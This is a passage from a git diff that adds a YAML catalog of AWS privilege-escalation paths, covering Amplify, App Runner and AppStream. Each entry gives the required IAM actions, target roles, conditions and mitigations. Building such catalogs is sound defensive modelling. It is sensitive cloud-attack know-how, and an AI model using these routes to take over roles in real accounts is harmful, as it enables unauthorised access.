src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md#iampassrole-cloudformationcreatestack-and-cloudformationdescribestacks + technique: iam:PassRole, cloudformation:CreateStack, and cloudformation:DescribeStacks + reason: The PassRole plus CreateStack route is modeled by aws-cloudformation-passrole-createstack; DescribeStacks + only reads stack outputs. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md#codestarcreateproject-codestarassociateteammember + technique: codestar:CreateProject, codestar:AssociateTeamMember + reason: AWS CodeStar was discontinued; this legacy CreateProject and AssociateTeamMember flow is no longer an + available privilege path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md#iampassrole-codestarcreateproject + technique: iam:PassRole, codestar:CreateProject + reason: AWS CodeStar was discontinued; this legacy PassRole and CreateProject flow is no longer an available privilege + path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#also-relevant-configputremediationconfigurations--iampassrole-classic-passrole + technique: 'Also relevant: `config:PutRemediationConfigurations` + `iam:PassRole` (classic PassRole)' + reason: The PutRemediationConfigurations plus PassRole variant is included in aws-config-passrole-automatic-remediation; + this subheading is a cross-reference, not a new target. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2modifyinstanceattribute + technique: '`ec2:ModifyInstanceAttribute`' + reason: 'Umbrella section: user-data replacement plus StopInstances and StartInstances is modeled by aws-ec2-modifyinstanceattribute-userdata; + replacing security groups is network exposure, not role impersonation.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotregistercertificatewithoutca--register-an-attacker-generated-byo-certificate-as-a-device-identity + technique: '`iot:RegisterCertificateWithoutCA` → register an attacker-generated (BYO) certificate as a device + identity' + reason: This is the offline-certificate alternative in aws-iot-passrole-rolealias-certificate; registration alone + creates an IoT certificate but does not assume an IAM role without AttachPolicy, a role alias, and PassRole. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#aws---passrole-to-mlanalytics-data-access-roles + technique: AWS - PassRole to ML/Analytics Data-Access Roles + reason: Page introduction; the service-specific PassRole combinations are represented in mldataaccess.yaml. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#eventbridge-connection-credentials-without-statesrevealsecrets + technique: EventBridge Connection credentials without `states:RevealSecrets` + reason: This subheading describes disclosure of an EventBridge Connection application credential through the already + modeled TestState role path; states:RevealSecrets is not required and no additional AWS principal is gained. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#timestreamcreatescheduledquery--iampassrole--run-sql-and-downstream-writes-as-a-scheduled-query-role + technique: '`timestream:CreateScheduledQuery` + `iam:PassRole` — run SQL and downstream writes as a scheduled-query + role' + reason: The passed role can only run Timestream SQL and configured table, SNS and S3 error-report writes. It does + not vend role credentials or arbitrary AWS API execution; the impact is bounded data delegation. + source_revision: 0d0ea06005 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#timestreamexecutescheduledquery--trigger-an-already-stored-role-workflow + technique: '`timestream:ExecuteScheduledQuery` — trigger an already stored role workflow' + reason: ExecuteScheduledQuery replays a fixed SQL query with fixed role and destinations; the caller cannot change + the role, SQL, or output location, so no attacker-controlled principal gain is established. + source_revision: 0d0ea06005 +- source: src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md#execute-apiinvoke--iam-protected-application-data-access + technique: '`execute-api:Invoke` — IAM-protected application-data access' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-connect-customer-profiles-enum.md#live-least-privilege-caveat-for-listdomains + technique: Live least-privilege caveat for `ListDomains` + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-cost-explorer-enum.md#read-a-known-budget-with-budgetsviewbudget + technique: Read a known budget with `budgets:ViewBudget` + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-cost-explorer-enum.md#credit-records-through-legacy-aws-portalviewbilling + technique: Credit records through legacy `aws-portal:ViewBilling` + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-datazone-enum.md#iampassrole-boundaries + technique: '`iam:PassRole` boundaries' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#ssmgetdocument--command-content-disclosure + technique: '`ssm:GetDocument` — command-content disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#autoscalingdescribelaunchconfigurations--user-data-disclosure + technique: '`autoscaling:DescribeLaunchConfigurations` — user-data disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#ec2describeinstanceattribute--ec2-user-data + technique: '`ec2:DescribeInstanceAttribute` — EC2 user data' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#ssmgetopsitem--operational-data-disclosure + technique: '`ssm:GetOpsItem` — operational-data disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-image-builder-enum.md#imagebuildergetcomponent--component-source-disclosure + technique: '`imagebuilder:GetComponent` — component-source disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-greengrass-enum.md#greengrassgetcomponentversionartifact--presigned-component-download + technique: '`greengrass:GetComponentVersionArtifact` — presigned component download' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-location-service-enum.md#geogetdeviceposition--recover-a-devices-latest-location + technique: '`geo:GetDevicePosition` — recover a device''s latest location' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-location-service-enum.md#geogetdevicepositionhistory--recover-movement-history + technique: '`geo:GetDevicePositionHistory` — recover movement history' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-q-in-connect-enum.md#wisdomgetcontent--download-knowledge-base-documents + technique: '`wisdom:GetContent` — download knowledge-base documents' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md#sesgetemailtemplate--template-content-disclosure + technique: '`ses:GetEmailTemplate` — template-content disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-simpledb-enum.md#read-one-known-item--sdbgetattributes + technique: Read one known item — `sdb:GetAttributes` + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-simpledb-enum.md#query-or-enumerate-a-domain--sdbselect + technique: Query or enumerate a domain — `sdb:Select` + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-transfer-family-enum.md#permission-and-iampassrole-boundaries + technique: Permission and `iam:PassRole` boundaries + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-translate-enum.md#translategetterminology--download-a-custom-terminology-file + technique: '`translate:GetTerminology` — download a custom terminology file' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-translate-enum.md#translategetparalleldata--download-a-parallel-translation-corpus + technique: '`translate:GetParallelData` — download a parallel translation corpus' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md#schedulergetschedule--target-input-disclosure + technique: '`scheduler:GetSchedule` — target-input disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md#pipesupdatepipe-revalidates-iampassrole + technique: '`pipes:UpdatePipe` revalidates `iam:PassRole`' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede diff --git a/src/privilege-escalation-paths-research/aws/account.yaml b/src/privilege-escalation-paths-research/aws/account.yaml new file mode 100644 index 0000000000..453262ad49 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/account.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Account Management privilege escalation techniques. +# Source: hacktricks-cloud aws-account-management-privesc/README.md (rev 171e422299). + +[] diff --git a/src/privilege-escalation-paths-research/aws/amplify.yaml b/src/privilege-escalation-paths-research/aws/amplify.yaml new file mode 100644 index 0000000000..aa4f31618c --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/amplify.yaml @@ -0,0 +1,114 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Amplify privilege escalation techniques. +# Source: hacktricks-cloud aws-amplify-privesc/README.md. + +- id: aws-amplify-updateapp-passrole + provider: aws + service: amplify + title: Assign a passed service role to an Amplify app build + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifyupdateapp--iampassrole--repoint-the-app-onto-a-more-privileged-role + source_revision: 171e422299 + summary: The source may cause a controlled Amplify build or backend deployment to perform an operation with a passable service role if it can update the app, start a branch job and control the effective operation. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: amplify.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: amplify.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting amplify.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - amplify_service_role_build_effect_unverified + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions on the PassRole grant may restrict passing roles to Amplify. + - id: code_execution_path + description: Code must run under the new role, through a build with a changed buildSpec/environment (service role) or a deployed SSR runtime the source controls (compute role); automatic builds or webhooks can replace StartJob. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Amplify roles with iam:PassedToService=amplify.amazonaws.com and specific role ARNs; restrict amplify:UpdateApp. + references: + - https://docs.aws.amazon.com/amplify/latest/APIReference/API_UpdateApp.html + - https://docs.aws.amazon.com/amplify/latest/userguide/amplify-SSR-compute-role.html + notes: The source needs at least one existing app it can update (amplify:UpdateApp on that app). Both iamServiceRoleArn and computeRoleArn require iam:PassRole on the target role. A build command alone does not establish that it received the service role's credentials. A concrete edge requires fresh reviewed evidence that the effective controlled build or backend operation actually ran a useful action under the exact role; repository amplify.yml may override app buildSpec. + +- id: aws-amplifybackend-createtoken-studio-admin + provider: aws + service: amplifybackend + title: Mint an Amplify Studio administrator login for a Gen 1 backend + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetapp-amplifybackendcreatetoken--mint-an-amplify-studio-login + source_revision: 171e422299 + summary: The source can obtain an Amplify Studio application-administration session over the data model, auth and configuration of Gen 1 backends it can mint Studio logins for. + requires: + all_of: + - action: amplifybackend:CreateToken + resource: "{target.amplifybackend_token_arn}" + - action: amplifybackend:CreateToken + resource: "{target.amplifybackend_backend_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: amplifybackend + scope: same_account + aggregate_as: "Amplify Studio administrators in {account}" + grants: [Amplify Studio administrator (aws-amplify-admin)] + preconditions: + - amplifybackend_create_token_backend_scope + conditions: + - id: gen1_backend_with_studio + description: The app must have an existing Amplify Gen 1 backend environment, and the issued challenge must be accepted by its Studio sign-in flow. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict amplifybackend:CreateToken/GetToken to Studio administrators and alert on CreateToken from unexpected principals. + notes: Application-plane administration only (Studio session as the fixed aws-amplify-admin Cognito user); it does not return IAM credentials. Targets are collected Amplify apps with Gen 1 backend environments; accounts whose apps or backend environments were not collected keep an unresolved placeholder. CreateToken takes the known app ID directly and returns a one-time challenge code, so amplify:GetApp is not a prerequisite. The Service Authorization Reference lists both backend and token resource types for amplifybackend:CreateToken; a token-only policy leaves backend authorization unresolved. + +- id: aws-amplify-updateapp-passrole-ssr + provider: aws + service: amplify + title: Repoint an Amplify SSR compute role and invoke controlled SSR code + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifyupdateapp--iampassrole--repoint-the-app-onto-a-more-privileged-role + source_revision: 171e422299 + summary: The source can execute controlled SSR code as a passable compute role of an updatable app. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: amplify.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: amplify.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting amplify.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - amplify_compute_role_ssr_effect_unverified + conditions: + - id: controlled_ssr + description: The existing app must deploy attacker-controlled SSR code and an HTTP request must reach that SSR route under the new compute role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Amplify roles with iam:PassedToService=amplify.amazonaws.com and specific role ARNs; restrict amplify:UpdateApp. + references: + - https://docs.aws.amazon.com/amplify/latest/APIReference/API_UpdateApp.html + - https://docs.aws.amazon.com/amplify/latest/userguide/amplify-SSR-compute-role.html + notes: No StartJob is needed for the SSR request. A concrete edge requires fresh reviewed evidence that controlled SSR code received a request and ran a useful action under the exact compute role; otherwise the route remains unresolved. diff --git a/src/privilege-escalation-paths-research/aws/appconfig.yaml b/src/privilege-escalation-paths-research/aws/appconfig.yaml new file mode 100644 index 0000000000..5b8bf00982 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/appconfig.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS appconfig privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). + +[] diff --git a/src/privilege-escalation-paths-research/aws/appflow.yaml b/src/privilege-escalation-paths-research/aws/appflow.yaml new file mode 100644 index 0000000000..737096cd9f --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/appflow.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS appflow privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). + +[] diff --git a/src/privilege-escalation-paths-research/aws/apprunner.yaml b/src/privilege-escalation-paths-research/aws/apprunner.yaml new file mode 100644 index 0000000000..ac91599fcb --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/apprunner.yaml @@ -0,0 +1,177 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS App Runner privilege escalation techniques. +# Source: hacktricks-cloud aws-apprunner-privesc/README.md. + +- id: aws-apprunner-passrole-createservice + provider: aws + service: apprunner + title: Create an App Runner service with a passed instance role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#iampassrole-apprunnercreateservice + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of passable roles trusting tasks.apprunner.amazonaws.com by running + code it controls in a new App Runner service using that instance role. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: apprunner.amazonaws.com + - action: apprunner:CreateService + resource: '*' + target: + kind: aws_role + selector: + trust_allows_service: tasks.apprunner.amazonaws.com + scope: same_account + aggregate_as: Roles trusting tasks.apprunner.amazonaws.com in {account} + outcome: workload_execution + preconditions: + - apprunner_existing_customer_account + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict this. + - id: image_source + description: The source needs a code repository connection or an image it can supply (public ECR image or private + ECR with an access role). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on App Runner instance roles with iam:PassedToService and specific role ARNs. + references: + - https://docs.aws.amazon.com/apprunner/latest/dg/security_iam_service-with-iam.html + notes: Existing App Runner customers can still create services. A recorded service establishes prior use; an empty service inventory does not establish whether AWS still allows this account to create one. + + +- id: aws-apprunner-updateservice-passrole + provider: aws + service: apprunner + title: Repoint an existing App Runner service to a passed instance role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#apprunnerupdateservice + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of passable roles trusting tasks.apprunner.amazonaws.com by updating an existing App Runner service to use that instance role together with code or a start command it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: apprunner.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: tasks.apprunner.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting tasks.apprunner.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - apprunner_existing_image_service_update + conditions: + - id: existing_service + description: An existing image-based App Runner service must be RUNNING or CREATE_FAILED and covered by apprunner:UpdateService. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict apprunner:UpdateService to deployment pipelines and iam:PassRole on App Runner instance roles with iam:PassedToService and exact role ARNs. + references: + - https://docs.aws.amazon.com/apprunner/latest/api/API_UpdateService.html + notes: Companion of aws-apprunner-updateservice (keeps the existing role, no PassRole). UpdateService cannot switch a code-based service to an image; code-based services need a separately verified attacker-controlled code or start-command path. +- id: aws-apprunner-updateservice + provider: aws + service: apprunner + title: Change the start command of a service with an existing instance role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#apprunnerupdateservice + source_revision: 6fb9ac51fd + summary: The source can change the start command of an existing image-based App Runner service that runs with the target role. + requires: + all_of: + - action: apprunner:UpdateService + resource: '*' + target: + kind: aws_role + selector: + trust_allows_service: tasks.apprunner.amazonaws.com + scope: same_account + outcome: workload_execution + preconditions: + - apprunner_existing_instance_role_update + conditions: + - id: deployment_execution + description: The updated service must successfully deploy and run the chosen start command. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit App Runner UpdateService to trusted deployment operators for services with privileged instance roles. + references: + - https://docs.aws.amazon.com/apprunner/latest/api/API_UpdateService.html + notes: This route keeps the existing instance role; no new role is passed. The recorded DescribeService response must bind InstanceRoleArn to the exact image service. Code-based services need a separately verified controlled command path. + +- id: aws-apprunner-mutable-ecr-autodeploy + provider: aws + service: apprunner + title: Push a replacement image to a watched App Runner tag + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#mutable-private-ecr-tag-with-automatic-deployments + source_revision: 1098b391c4 + summary: The source can publish a new image to the exact private ECR tag that an existing App Runner service automatically deploys with the target instance role. + requires: + all_of: + - action: ecr:GetAuthorizationToken + resource: '*' + target: + kind: aws_role + selector: + trust_allows_service: tasks.apprunner.amazonaws.com + scope: same_account + outcome: workload_execution + preconditions: + - apprunner_mutable_ecr_autodeploy_instance_role + conditions: + - id: next_deployment + description: The source must actually push a runnable image to the watched tag and App Runner must successfully deploy it. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ECR image-push permissions on repositories watched by App Runner and use immutable tags or manual deployments for privileged services. + references: + - https://docs.aws.amazon.com/apprunner/latest/dg/manage-deploy.html + - https://docs.aws.amazon.com/AmazonECR/latest/userguide/image-push-iam.html + notes: The source does not need App Runner or PassRole permissions. The same-account private ECR tag, auto-deployment flag, effective tag mutability or permission to change it, image-push permissions and instance role must all join exactly. + +- id: aws-apprunner-plaintext-credential + provider: aws + service: apprunner + title: DescribeService returns plaintext environment credentials + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#apprunnerdescribeservice--read-plaintext-runtime-variables + source_revision: 57bd5c07df + summary: A verified exposed AWS credential for another principal can be read by the source. + requires: + all_of: + - action: apprunner:DescribeService + resource: '*' + target: + kind: aws_user + selector: + aws_challenge_fact: aws-apprunner-plaintext-credential + scope: same_account + outcome: credentials + grants: + - Exact IAM user authenticated by a reviewed usable access key in the named resource + conditions: + - id: exact_credential_subject_resource + description: A reviewed evidence record must bind the source IAM principal, exact readable resource + and action, a read and authentication as the named IAM user, and an exact action and resource denied + to the source but allowed with that key; the source must hold effective read permission. + confidence: conditional + severity: high + mitigation: Restrict the listed action to approved operators and protect exposed credentials. + notes: Only a direct IAM user access key is modeled. STS and application sessions remain held because + their effective rights may be narrower than the role or application identity. diff --git a/src/privilege-escalation-paths-research/aws/appstream.yaml b/src/privilege-escalation-paths-research/aws/appstream.yaml new file mode 100644 index 0000000000..ef468df9bd --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/appstream.yaml @@ -0,0 +1,288 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon AppStream 2.0 (WorkSpaces Applications) privilege escalation techniques. +# Source: hacktricks-cloud aws-appstream-privesc/README.md (rev 171e422299). +# Existing-resource updates use collected fleet and builder state and associations. + +- id: aws-appstream-createimagebuilderstreamingurl + provider: aws + service: appstream + title: Open a session on an image builder with an existing IAM role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilderstreamingurl--administratorroot-access-to-an-existing-builder + source_revision: 6fb9ac51fd + summary: A principal allowed to connect to a running image builder may use its recorded machine role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Roles attached to running image builders in {account} + outcome: workload_execution + preconditions: + - appstream_existing_image_builder_role_session + conditions: + - id: desktop_execution + description: The desktop session must permit using the image builder's machine role profile. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict CreateImageBuilderStreamingURL to approved builders and avoid attaching powerful roles to them. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_ImageBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateImageBuilderStreamingURL.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_appstream.html + notes: The evaluator joins a RUNNING image builder to its exact IamRoleArn and requires CreateImageBuilderStreamingURL on that builder ARN. + +- id: aws-appstream-createappblockbuilderstreamingurl + provider: aws + service: appstream + title: Open a session on an app block builder with an existing IAM role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateappblockbuilderstreamingurl--take-over-an-existing-app-package-builder + source_revision: 6fb9ac51fd + summary: A principal allowed to connect to a running app block builder may use its recorded machine role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Roles attached to running app block builders in {account} + outcome: workload_execution + preconditions: + - appstream_existing_app_block_builder_role_session + conditions: + - id: desktop_execution + description: The desktop session must permit using the app block builder's machine role profile. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict CreateAppBlockBuilderStreamingURL to approved builders and avoid attaching powerful roles to them. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_AppBlockBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateAppBlockBuilderStreamingURL.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_appstream.html + notes: The evaluator joins a RUNNING app block builder to its exact IamRoleArn and requires CreateAppBlockBuilderStreamingURL on that builder ARN. + +- id: aws-appstream-createstreamingurl-existing-fleet + provider: aws + service: appstream + title: Open a desktop session on a fleet with an existing IAM role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreatestreamingurl--enter-an-existing-fleet-under-its-machine-role + source_revision: 6fb9ac51fd + summary: A principal allowed to open a desktop session on an existing fleet may use that fleet's exact machine role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Roles attached to streamable desktop fleets in {account} + outcome: workload_execution + preconditions: + - appstream_existing_fleet_role_session + conditions: + - id: desktop_execution + description: The desktop session must permit running an application or script that can use the fleet role profile. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict CreateStreamingURL to approved fleets and avoid attaching powerful roles to desktop fleets. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateStreamingURL.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_Fleet.html + - https://docs.aws.amazon.com/appstream2/latest/developerguide/how-to-use-iam-role-with-streaming-instances.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_appstream.html + notes: The evaluator joins a running DESKTOP fleet to its recorded IamRoleArn and an associated stack, requires available capacity and CreateStreamingURL on that fleet ARN, and returns a conditional role reach. No PassRole or fleet mutation is required. + +- id: aws-appstream-passrole-createimagebuilder-createfleet + provider: aws + service: appstream + title: Create and stream into a fleet with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilder--createfleet--iampassrole--session-with-the-passed-roles-credentials + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any passable role trusting appstream.amazonaws.com. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + source_kind: [aws_user, aws_role] + trust_allows_service: appstream.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting appstream.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - appstream_new_fleet_with_role + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: image_and_network + description: The chosen image and capacity must allow the fleet to start before a streaming session can begin. + - id: streaming_url_scope + description: CreateStreamingURL permission must cover both the chosen fleet and its associated stack. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on AppStream roles with iam:PassedToService and specific role ARNs; limit image + builder and fleet creation to AppStream administrators. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateImageBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateFleet.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_StartFleet.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_appstream.html + notes: 'Reach is roles trusting appstream.amazonaws.com in PassRole scope. The new fleet must have an image and an + associated stack; an existing stack may be reused.' + +- id: aws-appstream-passrole-createappblockbuilder + provider: aws + service: appstream + title: Create and stream into an app block builder with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilder--createfleet--iampassrole--session-with-the-passed-roles-credentials + source_revision: 6fb9ac51fd + summary: The source can create an app block builder with a passable role and stream into it. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' 